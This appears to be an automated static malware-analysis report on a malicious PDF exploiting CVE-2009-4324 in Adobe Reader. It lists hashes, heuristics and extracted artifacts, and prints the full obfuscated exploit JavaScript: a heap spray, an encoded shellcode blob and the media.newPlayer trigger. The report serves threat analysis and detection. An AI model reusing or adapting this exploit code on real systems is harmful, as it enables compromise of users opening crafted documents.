Malicious PDF — malware analysis report

Static analysis result for SHA-256 c1d9cd02799bbb45…

MALICIOUS

PDF

100.7 KB Created: 2010-06-29 10:14:47 +08:00 Authoring application: Acrobat 编辑器 8.0 (via Adobe Acrobat 8.0) First seen: 2026-05-04
MD5: 738af108a6edd46536492b1782589a04 SHA-1: fe9500559d3416c85f4730814e46ef0ada180f20 SHA-256: c1d9cd02799bbb45aa6a37a16f2da1dca86f55e474b0a33e0034232c176b5f99
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.002 Malicious Link T1566.001 Spearphishing Attachment

The PDF file contains embedded JavaScript that is obfuscated and utilizes the unescape() function. Critical heuristics indicate the exploitation of CVE-2009-4324 via the media.newPlayer API, a known vector for PDF exploits. The presence of a secondary embedded PDF and ClamAV detection as 'Pdf.Dropper.Agent-5357397-0' further confirm its malicious nature. The script's likely intent is to download and execute a second-stage payload, leveraging the identified CVE.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9991

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • ClamAV: Pdf.Dropper.Agent-5357397-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-5357397-0
  • Secondary embedded PDF body has suspicious static findings critical POLYGLOT_CHILD_PDF_STATIC_TRIAGE
    A valid PDF body was found at a nonzero offset inside another container and its carved contents matched PDF exploit or lure heuristics. This catches polyglots where the top-level magic routes to ZIP/OLE while a PDF reader or downstream parser opens the hidden PDF payload.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
     var nop =  unescape("\x25\x750c0c");
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.monotype.comhttp://www.monotype.com/html/type/license.html Referenced by PDF JavaScript
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://www.monotype.com/html/mtname/ms_timesnewroman.htmlhttp://www.monotype.com/html/mtname/ms_welcome.htmlNOTIFICATIONReferenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 6

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0021_000.js pdf-javascript-stream PDF /JS object 21 at offset 0x514 2371 bytes
SHA-256: cb3717cac500cccce254506ced9ba9ba7a87552e28f7874c2ea086fb2af822ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 eval/decoder/string-building token(s). Carved artifact contains 2 long base64-like blob(s). Carved artifact contains 1 long hex-escaped blob(s).
Preview script
First 1,000 lines of the extracted script
var TCfIpiOxOYTTeNgDQsDQaDtVjQ;
for(i=0;i<18000;i++)
TCfIpiOxOYTTeNgDQsDQaDtVjQ = TCfIpiOxOYTTeNgDQsDQaDtVjQ+0x70;

function AppendLoop(ss,len)   
{   
	for(slen=0;slen<len;)
	{
      ss +=ss;
	  slen = ss.length;
	}
	return ss;
}  

function urpl(k,sc)
{
	var c = "u";
	var kc=k+c
	var re = /XX/g;
	sc = sc.replace(re,kc);
	return sc;
}

var une = unescape;

var sc = "XXc8d9XX74d9XXf424XXeebaXXe0ecXX29deXX5fc9XX37b1XX5731XX8314XX1001XX2602XX4207XXdee0XX55eeXXdee4XXeceeXXbabfXXdc4fXXdee0XX67eeXXd2a0XX9c65XX73fcXX8465XX8fe8XX9965XX55dcXXc29aXXdd98XXba1bXXa86bXXefceXXed15XXa527XX73a1XX29edXX05d3XX52e1XXe6f0XX981cXX1fe8XXe125XX04e3XX07aeXXe511XX99f1XX8007XXb265XXddc4XX8a33XXd26bXX67a5XXc2beXX31edXXda6bXXef65XX7525XX0eb7XXed5cXX6f35XXda23XXec84XX21b3XX10b9XXd9dbXX1f9bXX8169XX7512XX8cb2XX9b11XX21e4XX1099XX891fXX7516XX9e8aXXec86XXdef0XX13eeXXd697XX13bcXX2ab7XXab67XXb418XX61eeXX2aa7XX13beXXd697XX9b11XX2118XX1099XX891fXX671eXXd2afXXab65XX1e18XX16e6XXee60XXac66XX2902XXbb11XX3618XX13a3XX211fXX89f8XXce1aXX26baXX4f4fXXe442XXa83aXX7743XX019dXX7e52XXdee1XXce2cXXdee0XXb4e3XXdee1XXeec6XXdee0";
sc = une(urpl("%",sc));

function j_exp()   
{ 

	var a = "\x6D\x65\x64";
	var c = "\x69\x61";
	var b = "\x6E\x65\x77\x50\x6C\x61\x79";
	var d = "\x65\x72";
	var e = "\x6E\x65\x77\x20\x44\x61\x74\x65\x28\x29";
	var f = "\x70\x40\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31";
	var g = "\x20\x3A\x20\x79\x79\x79\x79\x31\x31\x31";
	var h =  "\x70\x72\x69\x6E";
	var i =  "\x74\x64";
	var j = h+i;
	var str1="XX0d0cXX0d0cXX0d0cXX0d0cXX4170XX6d7aXX554bXX4d67XX794fXX514fXX6f4dXX585aXX764fXX4c56XX6f4bXX4858XX4249XX666dXX566fXX625aXX4567XX7568XX6a46XX5258XX714eXX7961XX7a61XX4878XX756bXX754dXX4c57XX647aXX5870XX4d46XX4462XX4b4f";
	str1 = une(urpl("%",str1));
	var nop =  unescape("\x25\x750c0c");

	nop = AppendLoop(nop,18000);
	memory=new Array();
	for(i=0;i<0xE00;i++)memory[i] = nop+sc;


	if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9)
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](f+g, e); 
	}
	else
	{
	util[j](f+g, e);
	util[j](f+g, e);
	try {this[a+c][b+d](null);} catch(e) {}
	util[j](str1,e);

	}

}

if(app["\x76\x69\x65\x77\x65\x72\x56\x65\x72\x73\x69\x6F\x6E"]<9.3)
{
	j_exp();  
}
legacy_pdfkit_stage_000.js deobfuscated-js string-concatenation normalized Acrobat API aliases at offset 0x514 126 bytes
SHA-256: 42c3f4df375ff6f58ff655cc4f88b5cc28f0dd33b978390db3538684a6219b74
Preview script
First 1,000 lines of the extracted script
media.newPlayer(null); /* AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA */
font_00_sfnt_off000118dc.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x118DC 20336 bytes
SHA-256: 677273497f979c1e4f9451b20c59cd1e074d4930aa1d3d2c4b31d56e6b401faf
font_01_sfnt_off00013e50.bin pdf-font-stream PDF embedded font (sfnt) at offset 0x13E50 37364 bytes
SHA-256: cc2f1d900e149e300e3ea8b413e5cc3f7289f978fdc13e4bd09ba5fc773417b4
polyglot_child_pdf_off000066fa.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x66FA 76738 bytes
SHA-256: 86b8d30908fb3e45e57569fdb69b514f1bdc583ae08381b8bfd16ed35a03cebd
polyglot_child_pdf_off00017acf.pdf polyglot-child-pdf Secondary PDF body inside pdf container at offset 0x17ACF 6125 bytes
SHA-256: 0b1c923c8a0028794f3a3244dc498786746334f394e41678cc58ffbeb707d0a8

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